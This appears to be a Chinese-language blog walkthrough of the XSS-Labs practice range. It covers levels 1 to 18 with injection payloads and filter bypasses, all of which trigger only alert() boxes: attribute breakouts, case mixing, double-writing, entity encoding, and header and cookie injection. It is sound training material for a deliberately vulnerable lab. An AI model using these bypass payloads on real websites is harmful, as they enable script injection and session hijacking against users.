XSS-Labs靶场通关

XSS简述

跨站脚本攻击(Cross-Site Scripting,简称 XSS)是一种常见的 Web 安全漏洞。攻击者通过在网页中注入恶意的客户端脚本(如 JavaScript),当其他用户浏览该网页时,浏览器会执行这些恶意代码。这使得攻击者能够窃取敏感数据(如 Cookie、会话令牌)、劫持用户会话或冒充用户执行操作。

XSS 的常见类型

  • 存储型(持久型):恶意脚本永久存储在目标服务器的数据库中(例如在评论区或个人资料中)。当用户查看相关页面时触发。
  • 反射型(非持久型):恶意脚本包含在发送给用户的请求中(例如恶意链接或搜索参数),当用户点击或提交表单时,服务器将其反射执行。
  • 基于 DOM 型:恶意代码并不依赖服务器,而是由于前端 JavaScript 代码在处理用户输入时存在安全缺陷,导致直接在浏览器中被执行

DOM简述

DOM (Document Object Model) 译为文档对象模型,是 HTML 和 XML 文档的编程接口。

HTML DOM 树形结构:

DOM HTML tree

实例:
1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE html>
<html>
<body>

<script type="text/javascript">
document.write("Hello World!")
</script>

</body>
</html>

一些常用的 HTML DOM 方法:

  • getElementById(id) - 获取带有指定 id 的节点(元素)
  • appendChild(node) - 插入新的子节点(元素)
  • removeChild(node) - 删除子节点(元素)
  • getElementsByTagName() 返回带有指定标签名的所有元素。

一些常用的 HTML DOM 属性:

  • innerHTML - 节点(元素)的文本值
  • parentNode - 节点(元素)的父节点
  • childNodes - 节点(元素)的子节点
  • attributes - 节点(元素)的属性节点
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>菜鸟教程(runoob.com)</title>
</head>
<body>

<a name="html">HTML 教程</a><br>
<a name="css">CSS 教程</a><br>
<a name="xml">XML 教程</a>

<p>文档中第一个锚:
<script>
document.write(document.anchors[0].innerHTML);
</script>
</p>

</body>
</html>

运行结果:

1
2
3
4
HTML 教程
CSS 教程
XML 教程
文档中第一个锚: HTML 教程
DOM XSS实例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<div class="page-content">

<div id="xssd_main">
<script>
function domxss(){
var str = document.getElementById("text").value; //获取输入字符串
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>"; //制造一个innerhtml,在what do you see加上超链接,链接内容就是你输入的字符串。
}

</script>

// 下面是一个点击提交的功能,之后触发domxss()方法
<!--<a href="" onclick=('xss')>-->
<input id="text" name="text" type="text" value="" />
<input id="button" type="button" value="click me!" onclick="domxss()" />
<div id="dom"></div>
</div>


</div>

触发xss:

1
javascript:alert(1)
反射型xss和DOM型xss区别

image-20260531123244803

level1

image-20260530150152952

查看源码,对alert函数进行了重新,当浏览器执行alert函数时,会跳转到第二关

image-20260530144306937

控制台输入

1
window.alert(111)

image-20260530145106718

成功跳转到第二关

image-20260530145217649

😅kidding

参数name的值会插入到源码中

image-20260530145607513

在name处尝试xss

1
<script>alert(11)</script>

image-20260530144306937

插入的script标签被解析,成功触发xss

1
2
3
4
5
6
7
8
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<h2 align=center>欢迎用户<script>alert(11)</script></h2><center><img src=level1.png></center>
<h3 align=center>payload的长度:26</h3></body>
</html>
image-20260530144447899

level2

image-20260530150127389

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和test相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword value="test">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:4</h3></body>
</html>

输入框的内容会插入到源码中:

尝试:

image-20260530150623263

输入的尖括号被实体化

输入框是通过keyword这个参数传进去的,尝试闭合input标签:

1
"><script>alert(111)</script>

image-20260530151355059

成功触发xss

level3

image-20260530151727875

查看源码:

image-20260530151741661

在搜索框尝试xss

image-20260530151910321

两处的尖括号都被实体化了

使用事件性:

1
2
' onfocus=javascript:alert() '
' onmouseup=javascript:alert() '

``javascript:是浏览器支持的一种 URL 协议。当浏览器访问以javascript: 开头的 URL 时,不会发送网络请求,而是直接执行后面的 JavaScript 代码。

image-20260531090714777

成功触发xss

image-20260531090755213

level4

image-20260531091402907

查看源码:

image-20260531091445902

继续使用事件性:

1
2
" onfocus=javascript:alert() "
" onmouseup=javascript:alert() "
image-20260531091541409

level5

尝试源码,继续使用事件性:

对on进行了过滤:

image-20260531091942380

image-20260531092201812

尝试scrip标签,inpu标签处没有进行实体化,但是script被过滤了

1
"><script>alert(111)</script>

image-20260531092959032

尝试其他标签。使用iframe 标签,成功触发xss

1
"><iframe src="javascript:alert('xss')"><iframe>

或者href标签:

1
"> <a href="javascript:alert(1)">click me</a>

image-20260531093751742

level6

过滤了src

image-20260531094111136

href也过滤了:

image-20260531094214472

使用大小写绕过:

1
"><iframe sRC="javascript:alert('xss')"><iframe>

image-20260531095105255

level7

尝试:

1
"><iframe sRC="javascript:alert('xss')"><iframe>

image-20260531095349204

过滤了script,src等,直接进行了清除

尝试双写:

1
2
"><iframe ssrcrc="javascrscriptipt:alert('xss')"><iframe>
"> <a hrhrefef="javascrscriptipt:alert(1)">click me</a>

image-20260531095610295

成功触发

level8

有两处可以进行尝试xss

image-20260531100122465

尝试:

1
javascript:alert(1)
image-20260531100357685

对javascript,script进行了过滤

对引号进行了实体化

image-20260531100653385

将javascirpt:alert(1)进行字符实体化,避开过滤

image-20260531102038626
1
&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;

image-20260531102022648

level9

一处可进行尝试:

image-20260531102537512

但是进行了实体化

image-20260531102709823

1
" onfocus=javascript:alert() "

源码:

1
2
3
4
5
6
7
8
9
10
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

后端对输入进行了判断,但是不严谨,只要输入字符中存在http://就可以。

1
javascript:alert(1)

image-20260531103814110

对javascript进行了过滤

image-20260531104542653

实体化字符:

1
&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;//http://

//对http://进行注释

image-20260531104518927

level10

查看源码存在3处可输入的地方,但只有2处可回显:

image-20260531105722052

h2标签进行了实体化

input对<>进行了过滤,清除

image-20260531110507341

1
" onfocus=javascript:alert() "

image-20260531110925108

但是这个标签是隐蔽的,onfocus是当元素获得焦点时触发,即鼠标点击才会触发

将type改为text

1
"  type="text" onfocus=javascript:alert(111) "

image-20260531111654078

成功触发

level11

源码:

image-20260601171009101

存在4个隐藏参数,进行测试:

image-20260601171448674

只有两个参数会插入到html源码中

继续尝试

1
?keyword=<script>alert(11)</script>&t_sort=" onfocus=javascript:alert() "

image-20260601193243903

后端,对引号和标签都进行了实体化

多出来一个参数:t_ref,是通过referer这个http传送的。

使用burpsuite进行过抓包,修改Referer请求头:

1
Referer: "  type="text" onfocus=javascript:alert(111) "

image-20260601202717473

成功触发

level12

image-20260601203021941

Useragent请求头会被加载到页面中,在此处尝试:

1
User-Agent: "  type="text" onfocus=javascript:alert(111) "

image-20260601203512946

点击输入框成功触发xss

level13

image-20260601203752581

这关应该是cookie可以进行xss

1
Cookie: user="  type="text" onfocus=javascript:alert(111) "

image-20260601204021342

level14

卧槽,这关刺激啊

image-20260601204633238

emm,pass

image-20260601210032441

level15

image-20260601211111452

代码审计:

1
2
3
4
5
6
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

image-20260601211835465

htmlspecialchars($str):会把双引号 "、单引号 '、大于号 >、小于号 < 全都转义成 HTML 实体(比如 < 变成 &lt;)。

向scr进行传参,包含一个文件,文件内容可触发alert弹窗(本地测试)

1.html文件内容:

1
2
3
4
5
6
7
8
9
10
11
12

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">

<title>测试</title>
</head>
<body>
<img src="1" onerror="window.alert(111)">
<h1 align=center>测试</h1>
</body>
</html>

文件保存在靶场网站目录下

访问:

1
?src='1.html'

image-20260601213624512

成功触发xss

level16

1
level16.php?keyword=<script>alert(11)</script>

image-20260601214223389

&nbsp;是空格的html实体化格式

1
2
3
4
5
6
7
8
9
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace(" ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>

后端将script,空格和斜杠都替换成了&nbsp;

使用其他标签,空格绕过:

字符 URL 编码 说明
Tab 键 %09 水平制表符
换行符 %0a Line Feed (LF)
垂直 Tab %0b Vertical Tab (极少被过滤)
换页符 %0c Form Feed (FF)
回车符 %0d Carriage Return (CR)
1
2
<img%0asrc=1%0aonerror=alert(1)>
<svg%0conload=alert(1)>

SVG,可缩放矢量图形(Scalable Vector Graphics),是一种用于描述二维图形的 XML 标记语言。

image-20260601220256693

image-20260601215650644

level17

1
?arg01=111111&arg02=111111

image-20260602091645669

<embed> 元素将外部内容嵌入文档中的指定位置。此内容由外部应用程序或其他交互式内容源(如浏览器插件)提供。

<embed> 标签支持 HTML 的事件属性

在参数arg02进行拼接:

1
?arg01=a&arg02=b onmousemove='alert(1)'

成功触发xss

image-20260602093723822

level18

与第17关通理

1
?arg01=a&arg02=b onmousemove='alert(1)'

参考:

实用性极强的XSS-CSDN博客

https://www.cnblogs.com/L00kback/p/17552275.html

Previous postJS逆向之某平台登录密码加密Next postlinux二进制污染